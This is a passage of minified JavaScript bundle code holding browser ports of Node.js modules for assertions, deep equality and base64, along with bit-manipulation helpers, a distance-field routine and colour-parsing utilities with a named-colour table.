`):Y=" ".concat(G," ").concat(Y)),z=g(this,y(F).call(this,"".concat(V).concat(Y)))}return Error.stackTraceLimit=fe,z.generatedMessage=!N,Object.defineProperty(t(z),"name",{value:"AssertionError [ERR_ASSERTION]",enumerable:!1,writable:!0,configurable:!0}),z.code="ERR_ASSERTION",z.actual=q,z.expected=ne,z.operator=G,Error.captureStackTrace&&Error.captureStackTrace(t(z),J),z.stack,z.name="AssertionError",g(z)}return d(F,[{key:"toString",value:function(){return"".concat(this.name," [").concat(this.code,"]: ").concat(this.message)}},{key:h.custom,value:function(z,N){return h(this,P({},N,{customInspect:!1,depth:0}))}}]),F}(f(Error));te.exports=B},79616:function(te,Z,e){function M(c){return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?M=function(h){return typeof h}:M=function(h){return h&&typeof Symbol=="function"&&h.constructor===Symbol&&h!==Symbol.prototype?"symbol":typeof h},M(c)}function P(c,b){if(!(c instanceof b))throw new TypeError("Cannot call a class as a function")}function o(c,b){return b&&(M(b)==="object"||typeof b=="function")?b:L(c)}function L(c){if(c===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return c}function S(c){return S=Object.setPrototypeOf?Object.getPrototypeOf:function(h){return h.__proto__||Object.getPrototypeOf(h)},S(c)}function d(c,b){if(typeof b!="function"&&b!==null)throw new TypeError("Super expression must either be null or a function");c.prototype=Object.create(b&&b.prototype,{constructor:{value:c,writable:!0,configurable:!0}}),b&&g(c,b)}function g(c,b){return g=Object.setPrototypeOf||function(i,v){return i.__proto__=v,i},g(c,b)}var t={},r,f;function a(c,b,h){h||(h=Error);function i(T,w,E){return typeof b=="string"?b:b(T,w,E)}var v=function(T){d(w,T);function w(E,p,A){var m;return P(this,w),m=o(this,S(w).call(this,i(E,p,A))),m.code=c,m}return w}(h);t[c]=v}function l(c,b){if(Array.isArray(c)){var h=c.length;return c=c.map(function(i){return String(i)}),h>2?"one of ".concat(b," ").concat(c.slice(0,h-1).join(", "),", or ")+c[h-1]:h===2?"one of ".concat(b," ").concat(c[0]," or ").concat(c[1]):"of ".concat(b," ").concat(c[0])}else return"of ".concat(b," ").concat(String(c))}function u(c,b,h){return c.substr(0,b.length)===b}function s(c,b,h){return(h===void 0||h>c.length)&&(h=c.length),c.substring(h-b.length,h)===b}function y(c,b,h){return typeof h!="number"&&(h=0),h+b.length>c.length?!1:c.indexOf(b,h)!==-1}a("ERR_AMBIGUOUS_ARGUMENT",'The "%s" argument is ambiguous. %s',TypeError),a("ERR_INVALID_ARG_TYPE",function(c,b,h){r===void 0&&(r=e(32791)),r(typeof c=="string","'name' must be a string");var i;typeof b=="string"&&u(b,"not ")?(i="must not be",b=b.replace(/^not /,"")):i="must be";var v;if(s(c," argument"))v="The ".concat(c," ").concat(i," ").concat(l(b,"type"));else{var T=y(c,".")?"property":"argument";v='The "'.concat(c,'" ').concat(T," ").concat(i," ").concat(l(b,"type"))}return v+=". Received type ".concat(M(h)),v},TypeError),a("ERR_INVALID_ARG_VALUE",function(c,b){var h=arguments.length>2&&arguments[2]!==void 0?arguments[2]:"is invalid";f===void 0&&(f=e(43827));var i=f.inspect(b);return i.length>128&&(i="".concat(i.slice(0,128),"...")),"The argument '".concat(c,"' ").concat(h,". Received ").concat(i)},TypeError),a("ERR_INVALID_RETURN_VALUE",function(c,b,h){var i;return h&&h.constructor&&h.constructor.name?i="instance of ".concat(h.constructor.name):i="type ".concat(M(h)),"Expected ".concat(c,' to be returned from the "').concat(b,'"')+" function but got ".concat(i,".")},TypeError),a("ERR_MISSING_ARGS",function(){for(var c=arguments.length,b=new Array(c),h=0;h<c;h++)b[h]=arguments[h];r===void 0&&(r=e(32791)),r(b.length>0,"At least one arg needs to be specified");var i="The ",v=b.length;switch(b=b.map(function(T){return'"'.concat(T,'"')}),v){case 1:i+="".concat(b[0]," argument");break;case 2:i+="".concat(b[0]," and ").concat(b[1]," arguments");break;default:i+=b.slice(0,v-1).join(", "),i+=", and ".concat(b[v-1]," arguments");break}return"".concat(i," must be specified")},TypeError),te.exports.codes=t},74061:function(te,Z,e){function M(be,ge){return L(be)||o(be,ge)||P()}function P(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}function o(be,ge){var Te=[],Fe=!0,Oe=!1,Ce=void 0;try{for(var Be=be[Symbol.iterator](),$e;!(Fe=($e=Be.next()).done)&&(Te.push($e.value),!(ge&&Te.length===ge));Fe=!0);}catch(Xe){Oe=!0,Ce=Xe}finally{try{!Fe&&Be.return!=null&&Be.return()}finally{if(Oe)throw Ce}}return Te}function L(be){if(Array.isArray(be))return be}function S(be){return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?S=function(Te){return typeof Te}:S=function(Te){return Te&&typeof Symbol=="function"&&Te.constructor===Symbol&&Te!==Symbol.prototype?"symbol":typeof Te},S(be)}var d=/a/g.flags!==void 0,g=function(ge){var Te=[];return ge.forEach(function(Fe){return Te.push(Fe)}),Te},t=function(ge){var Te=[];return ge.forEach(function(Fe,Oe){return Te.push([Oe,Fe])}),Te},r=Object.is?Object.is:e(64003),f=Object.getOwnPropertySymbols?Object.getOwnPropertySymbols:function(){return[]},a=Number.isNaN?Number.isNaN:e(15567);function l(be){return be.call.bind(be)}var u=l(Object.prototype.hasOwnProperty),s=l(Object.prototype.propertyIsEnumerable),y=l(Object.prototype.toString),c=e(43827).types,b=c.isAnyArrayBuffer,h=c.isArrayBufferView,i=c.isDate,v=c.isMap,T=c.isRegExp,w=c.isSet,E=c.isNativeError,p=c.isBoxedPrimitive,A=c.isNumberObject,m=c.isStringObject,n=c.isBooleanObject,C=c.isBigIntObject,x=c.isSymbolObject,I=c.isFloat32Array,k=c.isFloat64Array;function B(be){if(be.length===0||be.length>10)return!0;for(var ge=0;ge<be.length;ge++){var Te=be.charCodeAt(ge);if(Te<48||Te>57)return!0}return be.length===10&&be>=Math.pow(2,32)}function _(be){return Object.keys(be).filter(B).concat(f(be).filter(Object.prototype.propertyIsEnumerable.bind(be)))}/*!
 * The buffer module from node.js, for the browser.
 *
 * @author   Feross Aboukhadijeh <feross@feross.org> <http://feross.org>
 * @license  MIT
 */function F(be,ge){if(be===ge)return 0;for(var Te=be.length,Fe=ge.length,Oe=0,Ce=Math.min(Te,Fe);Oe<Ce;++Oe)if(be[Oe]!==ge[Oe]){Te=be[Oe],Fe=ge[Oe];break}return Te<Fe?-1:Fe<Te?1:0}var O=!0,z=!1,N=0,G=1,J=2,q=3;function ne(be,ge){return d?be.source===ge.source&&be.flags===ge.flags:RegExp.prototype.toString.call(be)===RegExp.prototype.toString.call(ge)}function fe(be,ge){if(be.byteLength!==ge.byteLength)return!1;for(var Te=0;Te<be.byteLength;Te++)if(be[Te]!==ge[Te])return!1;return!0}function X(be,ge){return be.byteLength!==ge.byteLength?!1:F(new Uint8Array(be.buffer,be.byteOffset,be.byteLength),new Uint8Array(ge.buffer,ge.byteOffset,ge.byteLength))===0}function W(be,ge){return be.byteLength===ge.byteLength&&F(new Uint8Array(be),new Uint8Array(ge))===0}function V(be,ge){return A(be)?A(ge)&&r(Number.prototype.valueOf.call(be),Number.prototype.valueOf.call(ge)):m(be)?m(ge)&&String.prototype.valueOf.call(be)===String.prototype.valueOf.call(ge):n(be)?n(ge)&&Boolean.prototype.valueOf.call(be)===Boolean.prototype.valueOf.call(ge):C(be)?C(ge)&&BigInt.prototype.valueOf.call(be)===BigInt.prototype.valueOf.call(ge):x(ge)&&Symbol.prototype.valueOf.call(be)===Symbol.prototype.valueOf.call(ge)}function Y(be,ge,Te,Fe){if(be===ge)return be!==0?!0:Te?r(be,ge):!0;if(Te){if(S(be)!=="object")return typeof be=="number"&&a(be)&&a(ge);if(S(ge)!=="object"||be===null||ge===null||Object.getPrototypeOf(be)!==Object.getPrototypeOf(ge))return!1}else{if(be===null||S(be)!=="object")return ge===null||S(ge)!=="object"?be==ge:!1;if(ge===null||S(ge)!=="object")return!1}var Oe=y(be),Ce=y(ge);if(Oe!==Ce)return!1;if(Array.isArray(be)){if(be.length!==ge.length)return!1;var Be=_(be),$e=_(ge);return Be.length!==$e.length?!1:ie(be,ge,Te,Fe,G,Be)}if(Oe==="[object Object]"&&(!v(be)&&v(ge)||!w(be)&&w(ge)))return!1;if(i(be)){if(!i(ge)||Date.prototype.getTime.call(be)!==Date.prototype.getTime.call(ge))return!1}else if(T(be)){if(!T(ge)||!ne(be,ge))return!1}else if(E(be)||be instanceof Error){if(be.message!==ge.message||be.name!==ge.name)return!1}else if(h(be)){if(!Te&&(I(be)||k(be))){if(!fe(be,ge))return!1}else if(!X(be,ge))return!1;var Xe=_(be),Ze=_(ge);return Xe.length!==Ze.length?!1:ie(be,ge,Te,Fe,N,Xe)}else{if(w(be))return!w(ge)||be.size!==ge.size?!1:ie(be,ge,Te,Fe,J);if(v(be))return!v(ge)||be.size!==ge.size?!1:ie(be,ge,Te,Fe,q);if(b(be)){if(!W(be,ge))return!1}else if(p(be)&&!V(be,ge))return!1}return ie(be,ge,Te,Fe,N)}function Q(be,ge){return ge.filter(function(Te){return s(be,Te)})}function ie(be,ge,Te,Fe,Oe,Ce){if(arguments.length===5){Ce=Object.keys(be);var Be=Object.keys(ge);if(Ce.length!==Be.length)return!1}for(var $e=0;$e<Ce.length;$e++)if(!u(ge,Ce[$e]))return!1;if(Te&&arguments.length===5){var Xe=f(be);if(Xe.length!==0){var Ze=0;for($e=0;$e<Xe.length;$e++){var Ke=Xe[$e];if(s(be,Ke)){if(!s(ge,Ke))return!1;Ce.push(Ke),Ze++}else if(s(ge,Ke))return!1}var st=f(ge);if(Xe.length!==st.length&&Q(ge,st).length!==Ze)return!1}else{var lt=f(ge);if(lt.length!==0&&Q(ge,lt).length!==0)return!1}}if(Ce.length===0&&(Oe===N||Oe===G&&be.length===0||be.size===0))return!0;if(Fe===void 0)Fe={val1:new Map,val2:new Map,position:0};else{var ut=Fe.val1.get(be);if(ut!==void 0){var yt=Fe.val2.get(ge);if(yt!==void 0)return ut===yt}Fe.position++}Fe.val1.set(be,Fe.position),Fe.val2.set(ge,Fe.position);var bt=xe(be,ge,Te,Ce,Fe,Oe);return Fe.val1.delete(be),Fe.val2.delete(ge),bt}function j(be,ge,Te,Fe){for(var Oe=g(be),Ce=0;Ce<Oe.length;Ce++){var Be=Oe[Ce];if(Y(ge,Be,Te,Fe))return be.delete(Be),!0}return!1}function K(be){switch(S(be)){case"undefined":return null;case"object":return;case"symbol":return!1;case"string":be=+be;case"number":if(a(be))return!1}return!0}function oe(be,ge,Te){var Fe=K(Te);return Fe??(ge.has(Fe)&&!be.has(Fe))}function re(be,ge,Te,Fe,Oe){var Ce=K(Te);if(Ce!=null)return Ce;var Be=ge.get(Ce);return Be===void 0&&!ge.has(Ce)||!Y(Fe,Be,!1,Oe)?!1:!be.has(Ce)&&Y(Fe,Be,!1,Oe)}function le(be,ge,Te,Fe){for(var Oe=null,Ce=g(be),Be=0;Be<Ce.length;Be++){var $e=Ce[Be];if(S($e)==="object"&&$e!==null)Oe===null&&(Oe=new Set),Oe.add($e);else if(!ge.has($e)){if(Te||!oe(be,ge,$e))return!1;Oe===null&&(Oe=new Set),Oe.add($e)}}if(Oe!==null){for(var Xe=g(ge),Ze=0;Ze<Xe.length;Ze++){var Ke=Xe[Ze];if(S(Ke)==="object"&&Ke!==null){if(!j(Oe,Ke,Te,Fe))return!1}else if(!Te&&!be.has(Ke)&&!j(Oe,Ke,Te,Fe))return!1}return Oe.size===0}return!0}function pe(be,ge,Te,Fe,Oe,Ce){for(var Be=g(be),$e=0;$e<Be.length;$e++){var Xe=Be[$e];if(Y(Te,Xe,Oe,Ce)&&Y(Fe,ge.get(Xe),Oe,Ce))return be.delete(Xe),!0}return!1}function we(be,ge,Te,Fe){for(var Oe=null,Ce=t(be),Be=0;Be<Ce.length;Be++){var $e=M(Ce[Be],2),Xe=$e[0],Ze=$e[1];if(S(Xe)==="object"&&Xe!==null)Oe===null&&(Oe=new Set),Oe.add(Xe);else{var Ke=ge.get(Xe);if(Ke===void 0&&!ge.has(Xe)||!Y(Ze,Ke,Te,Fe)){if(Te||!re(be,ge,Xe,Ze,Fe))return!1;Oe===null&&(Oe=new Set),Oe.add(Xe)}}}if(Oe!==null){for(var st=t(ge),lt=0;lt<st.length;lt++){var ut=M(st[lt],2),Xe=ut[0],yt=ut[1];if(S(Xe)==="object"&&Xe!==null){if(!pe(Oe,be,Xe,yt,Te,Fe))return!1}else if(!Te&&(!be.has(Xe)||!Y(be.get(Xe),yt,!1,Fe))&&!pe(Oe,be,Xe,yt,!1,Fe))return!1}return Oe.size===0}return!0}function xe(be,ge,Te,Fe,Oe,Ce){var Be=0;if(Ce===J){if(!le(be,ge,Te,Oe))return!1}else if(Ce===q){if(!we(be,ge,Te,Oe))return!1}else if(Ce===G)for(;Be<be.length;Be++)if(u(be,Be)){if(!u(ge,Be)||!Y(be[Be],ge[Be],Te,Oe))return!1}else{if(u(ge,Be))return!1;for(var $e=Object.keys(be);Be<$e.length;Be++){var Xe=$e[Be];if(!u(ge,Xe)||!Y(be[Xe],ge[Xe],Te,Oe))return!1}return $e.length===Object.keys(ge).length}for(Be=0;Be<Fe.length;Be++){var Ze=Fe[Be];if(!Y(be[Ze],ge[Ze],Te,Oe))return!1}return!0}function ke(be,ge){return Y(be,ge,z)}function _e(be,ge){return Y(be,ge,O)}te.exports={isDeepEqual:ke,isDeepStrictEqual:_e}},95341:function(te,Z){Z.byteLength=g,Z.toByteArray=r,Z.fromByteArray=l;for(var e=[],M=[],P=typeof Uint8Array<"u"?Uint8Array:Array,o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",L=0,S=o.length;L<S;++L)e[L]=o[L],M[o.charCodeAt(L)]=L;M[45]=62,M[95]=63;function d(u){var s=u.length;if(s%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var y=u.indexOf("=");y===-1&&(y=s);var c=y===s?0:4-y%4;return[y,c]}function g(u){var s=d(u),y=s[0],c=s[1];return(y+c)*3/4-c}function t(u,s,y){return(s+y)*3/4-y}function r(u){var s,y=d(u),c=y[0],b=y[1],h=new P(t(u,c,b)),i=0,v=b>0?c-4:c,T;for(T=0;T<v;T+=4)s=M[u.charCodeAt(T)]<<18|M[u.charCodeAt(T+1)]<<12|M[u.charCodeAt(T+2)]<<6|M[u.charCodeAt(T+3)],h[i++]=s>>16&255,h[i++]=s>>8&255,h[i++]=s&255;return b===2&&(s=M[u.charCodeAt(T)]<<2|M[u.charCodeAt(T+1)]>>4,h[i++]=s&255),b===1&&(s=M[u.charCodeAt(T)]<<10|M[u.charCodeAt(T+1)]<<4|M[u.charCodeAt(T+2)]>>2,h[i++]=s>>8&255,h[i++]=s&255),h}function f(u){return e[u>>18&63]+e[u>>12&63]+e[u>>6&63]+e[u&63]}function a(u,s,y){for(var c,b=[],h=s;h<y;h+=3)c=(u[h]<<16&16711680)+(u[h+1]<<8&65280)+(u[h+2]&255),b.push(f(c));return b.join("")}function l(u){for(var s,y=u.length,c=y%3,b=[],h=16383,i=0,v=y-c;i<v;i+=h)b.push(a(u,i,i+h>v?v:i+h));return c===1?(s=u[y-1],b.push(e[s>>2]+e[s<<4&63]+"==")):c===2&&(s=(u[y-2]<<8)+u[y-1],b.push(e[s>>10]+e[s>>4&63]+e[s<<2&63]+"=")),b.join("")}},91358:function(te){function Z(S,d,g,t,r){for(var f=r+1;t<=r;){var a=t+r>>>1,l=S[a],u=g!==void 0?g(l,d):l-d;u>=0?(f=a,r=a-1):t=a+1}return f}function e(S,d,g,t,r){for(var f=r+1;t<=r;){var a=t+r>>>1,l=S[a],u=g!==void 0?g(l,d):l-d;u>0?(f=a,r=a-1):t=a+1}return f}function M(S,d,g,t,r){for(var f=t-1;t<=r;){var a=t+r>>>1,l=S[a],u=g!==void 0?g(l,d):l-d;u<0?(f=a,t=a+1):r=a-1}return f}function P(S,d,g,t,r){for(var f=t-1;t<=r;){var a=t+r>>>1,l=S[a],u=g!==void 0?g(l,d):l-d;u<=0?(f=a,t=a+1):r=a-1}return f}function o(S,d,g,t,r){for(;t<=r;){var f=t+r>>>1,a=S[f],l=g!==void 0?g(a,d):a-d;if(l===0)return f;l<=0?t=f+1:r=f-1}return-1}function L(S,d,g,t,r,f){return typeof g=="function"?f(S,d,g,t===void 0?0:t|0,r===void 0?S.length-1:r|0):f(S,d,void 0,g===void 0?0:g|0,t===void 0?S.length-1:t|0)}te.exports={ge:function(S,d,g,t,r){return L(S,d,g,t,r,Z)},gt:function(S,d,g,t,r){return L(S,d,g,t,r,e)},lt:function(S,d,g,t,r){return L(S,d,g,t,r,M)},le:function(S,d,g,t,r){return L(S,d,g,t,r,P)},eq:function(S,d,g,t,r){return L(S,d,g,t,r,o)}}},13547:function(te,Z){"use restrict";var e=32;Z.INT_BITS=e,Z.INT_MAX=2147483647,Z.INT_MIN=-1<<e-1,Z.sign=function(o){return(o>0)-(o<0)},Z.abs=function(o){var L=o>>e-1;return(o^L)-L},Z.min=function(o,L){return L^(o^L)&-(o<L)},Z.max=function(o,L){return o^(o^L)&-(o<L)},Z.isPow2=function(o){return!(o&o-1)&&!!o},Z.log2=function(o){var L,S;return L=(o>65535)<<4,o>>>=L,S=(o>255)<<3,o>>>=S,L|=S,S=(o>15)<<2,o>>>=S,L|=S,S=(o>3)<<1,o>>>=S,L|=S,L|o>>1},Z.log10=function(o){return o>=1e9?9:o>=1e8?8:o>=1e7?7:o>=1e6?6:o>=1e5?5:o>=1e4?4:o>=1e3?3:o>=100?2:o>=10?1:0},Z.popCount=function(o){return o=o-(o>>>1&1431655765),o=(o&858993459)+(o>>>2&858993459),(o+(o>>>4)&252645135)*16843009>>>24};function M(o){var L=32;return o&=-o,o&&L--,o&65535&&(L-=16),o&16711935&&(L-=8),o&252645135&&(L-=4),o&858993459&&(L-=2),o&1431655765&&(L-=1),L}Z.countTrailingZeros=M,Z.nextPow2=function(o){return o+=o===0,--o,o|=o>>>1,o|=o>>>2,o|=o>>>4,o|=o>>>8,o|=o>>>16,o+1},Z.prevPow2=function(o){return o|=o>>>1,o|=o>>>2,o|=o>>>4,o|=o>>>8,o|=o>>>16,o-(o>>>1)},Z.parity=function(o){return o^=o>>>16,o^=o>>>8,o^=o>>>4,o&=15,27030>>>o&1};var P=new Array(256);(function(o){for(var L=0;L<256;++L){var S=L,d=L,g=7;for(S>>>=1;S;S>>>=1)d<<=1,d|=S&1,--g;o[L]=d<<g&255}})(P),Z.reverse=function(o){return P[o&255]<<24|P[o>>>8&255]<<16|P[o>>>16&255]<<8|P[o>>>24&255]},Z.interleave2=function(o,L){return o&=65535,o=(o|o<<8)&16711935,o=(o|o<<4)&252645135,o=(o|o<<2)&858993459,o=(o|o<<1)&1431655765,L&=65535,L=(L|L<<8)&16711935,L=(L|L<<4)&252645135,L=(L|L<<2)&858993459,L=(L|L<<1)&1431655765,o|L<<1},Z.deinterleave2=function(o,L){return o=o>>>L&1431655765,o=(o|o>>>1)&858993459,o=(o|o>>>2)&252645135,o=(o|o>>>4)&16711935,o=(o|o>>>16)&65535,o<<16>>16},Z.interleave3=function(o,L,S){return o&=1023,o=(o|o<<16)&4278190335,o=(o|o<<8)&251719695,o=(o|o<<4)&3272356035,o=(o|o<<2)&1227133513,L&=1023,L=(L|L<<16)&4278190335,L=(L|L<<8)&251719695,L=(L|L<<4)&3272356035,L=(L|L<<2)&1227133513,o|=L<<1,S&=1023,S=(S|S<<16)&4278190335,S=(S|S<<8)&251719695,S=(S|S<<4)&3272356035,S=(S|S<<2)&1227133513,o|S<<2},Z.deinterleave3=function(o,L){return o=o>>>L&1227133513,o=(o|o>>>2)&3272356035,o=(o|o>>>4)&251719695,o=(o|o>>>8)&4278190335,o=(o|o>>>16)&1023,o<<22>>22},Z.nextCombination=function(o){var L=o|o-1;return L+1|(~L&-~L)-1>>>M(o)+1}},44781:function(te,Z,e){var M=e(53435);te.exports=o;var P=1e20;function o(d,g){g||(g={});var t=g.cutoff==null?.25:g.cutoff,r=g.radius==null?8:g.radius,f=g.channel||0,a,l,u,s,y,c,b,h,i,v,T;if(ArrayBuffer.isView(d)||Array.isArray(d)){if(!g.width||!g.height)throw Error("For raw data width and height should be provided by options");a=g.width,l=g.height,s=d,g.stride?c=g.stride:c=Math.floor(d.length/a/l)}else window.HTMLCanvasElement&&d instanceof window.HTMLCanvasElement?(h=d,b=h.getContext("2d"),a=h.width,l=h.height,i=b.getImageData(0,0,a,l),s=i.data,c=4):window.CanvasRenderingContext2D&&d instanceof window.CanvasRenderingContext2D?(h=d.canvas,b=d,a=h.width,l=h.height,i=b.getImageData(0,0,a,l),s=i.data,c=4):window.ImageData&&d instanceof window.ImageData&&(i=d,a=d.width,l=d.height,s=i.data,c=4);if(u=Math.max(a,l),window.Uint8ClampedArray&&s instanceof window.Uint8ClampedArray||window.Uint8Array&&s instanceof window.Uint8Array)for(y=s,s=Array(a*l),v=0,T=y.length;v<T;v++)s[v]=y[v*c+f]/255;else if(c!==1)throw Error("Raw data can have only 1 value per pixel");var w=Array(a*l),E=Array(a*l),p=Array(u),A=Array(u),m=Array(u+1),n=Array(u);for(v=0,T=a*l;v<T;v++){var C=s[v];w[v]=C===1?0:C===0?P:Math.pow(Math.max(0,.5-C),2),E[v]=C===1?P:C===0?0:Math.pow(Math.max(0,C-.5),2)}L(w,a,l,p,A,n,m),L(E,a,l,p,A,n,m);var x=window.Float32Array?new Float32Array(a*l):new Array(a*l);for(v=0,T=a*l;v<T;v++)x[v]=M(1-((w[v]-E[v])/r+t),0,1);return x}function L(d,g,t,r,f,a,l){for(var u=0;u<g;u++){for(var s=0;s<t;s++)r[s]=d[s*g+u];for(S(r,f,a,l,t),s=0;s<t;s++)d[s*g+u]=f[s]}for(s=0;s<t;s++){for(u=0;u<g;u++)r[u]=d[s*g+u];for(S(r,f,a,l,g),u=0;u<g;u++)d[s*g+u]=Math.sqrt(f[u])}}function S(d,g,t,r,f){t[0]=0,r[0]=-P,r[1]=+P;for(var a=1,l=0;a<f;a++){for(var u=(d[a]+a*a-(d[t[l]]+t[l]*t[l]))/(2*a-2*t[l]);u<=r[l];)l--,u=(d[a]+a*a-(d[t[l]]+t[l]*t[l]))/(2*a-2*t[l]);l++,t[l]=a,r[l]=u,r[l+1]=+P}for(a=0,l=0;a<f;a++){for(;r[l+1]<a;)l++;g[a]=(a-t[l])*(a-t[l])+d[t[l]]}}},6614:function(te,Z,e){var M=e(68318),P=e(68222),o=P(M("String.prototype.indexOf"));te.exports=function(S,d){var g=M(S,!!d);return typeof g=="function"&&o(S,".prototype.")>-1?P(g):g}},68222:function(te,Z,e){var M=e(77575),P=e(68318),o=P("%Function.prototype.apply%"),L=P("%Function.prototype.call%"),S=P("%Reflect.apply%",!0)||M.call(L,o),d=P("%Object.getOwnPropertyDescriptor%",!0),g=P("%Object.defineProperty%",!0),t=P("%Math.max%");if(g)try{g({},"a",{value:1})}catch{g=null}te.exports=function(a){var l=S(M,L,arguments);if(d&&g){var u=d(l,"length");u.configurable&&g(l,"length",{value:1+t(0,a.length-(arguments.length-1))})}return l};var r=function(){return S(M,o,arguments)};g?g(te.exports,"apply",{value:r}):te.exports.apply=r},53435:function(te){te.exports=Z;function Z(e,M,P){return M<P?e<M?M:e>P?P:e:e<P?P:e>M?M:e}},6475:function(te,Z,e){var M=e(53435);te.exports=P,te.exports.to=P,te.exports.from=o;function P(L,S){S==null&&(S=!0);var d=L[0],g=L[1],t=L[2],r=L[3];r==null&&(r=S?1:255),S&&(d*=255,g*=255,t*=255,r*=255),d=M(d,0,255)&255,g=M(g,0,255)&255,t=M(t,0,255)&255,r=M(r,0,255)&255;var f=d*16777216+(g<<16)+(t<<8)+r;return f}function o(L,S){L=+L;var d=L>>>24,g=(L&16711680)>>>16,t=(L&65280)>>>8,r=L&255;return S===!1?[d,g,t,r]:[d/255,g/255,t/255,r/255]}},76857:function(te){te.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},25075:function(te,Z,e){var M=e(36652),P=e(53435),o=e(90660);te.exports=function(d,g){(g==="float"||!g)&&(g="array"),g==="uint"&&(g="uint8"),g==="uint_clamped"&&(g="uint8_clamped");var t=o(g),r=new t(4),f=g!=="uint8"&&g!=="uint8_clamped";return(!d.length||typeof d=="string")&&(d=M(d),d[0]/=255,d[1]/=255,d[2]/=255),L(d)?(r[0]=d[0],r[1]=d[1],r[2]=d[2],r[3]=d[3]!=null?d[3]:255,f&&(r[0]/=255,r[1]/=255,r[2]/=255,r[3]/=255),r):(f?(r[0]=d[0],r[1]=d[1],r[2]=d[2],r[3]=d[3]!=null?d[3]:1):(r[0]=P(Math.floor(d[0]*255),0,255),r[1]=P(Math.floor(d[1]*255),0,255),r[2]=P(Math.floor(d[2]*255),0,255),r[3]=d[3]==null?255:P(Math.floor(d[3]*255),0,255)),r)};function L(S){return!!(S instanceof Uint8Array||S instanceof Uint8ClampedArray||Array.isArray(S)&&(S[0]>1||S[0]===0)&&(S[1]>1||S[1]===0)&&(S[2]>1||S[2]===0)&&(!S[3]||S[3]>1))}},90736:function(te,Z,e){var M=e(76857),P=e(10973),o=e(46775);te.exports=S;var L={red:0,orange:60,yellow:120,green:180,blue:240,purple:300};function S(d){var g,t=[],r=1,f;if(typeof d=="string")if(M[d])t=M[d].slice(),f="rgb";else if(d==="transparent")r=0,f="rgb",t=[0,0,0];else if(/^#[A-Fa-f0-9]+$/.test(d)){var a=d.slice(1),l=a.length,u=l<=4;r=1,u?(t=[parseInt(a[0]+a[0],16),parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16)],l===4&&(r=parseInt(a[3]+a[3],16)/255)):(t=[parseInt(a[0]+a[1],16),parseInt(a[2]+a[3],16),parseInt(a[4]+a[5],16)],l===8&&(r=parseInt(a[6]+a[7],16)/255)),t[0]||(t[0]=0),t[1]||(t[1]=0),t[2]||(t[2]=0),f="rgb"}else if(g=/^((?:rgb|hs[lvb]|hwb|cmyk?|xy[zy]|gray|lab|lchu?v?|[ly]uv|lms)a?)\s*\(([^\)]*)\)/.exec(d)){var s=g[1],y=s==="rgb",a=s.replace(/a$/,"");f=a;var 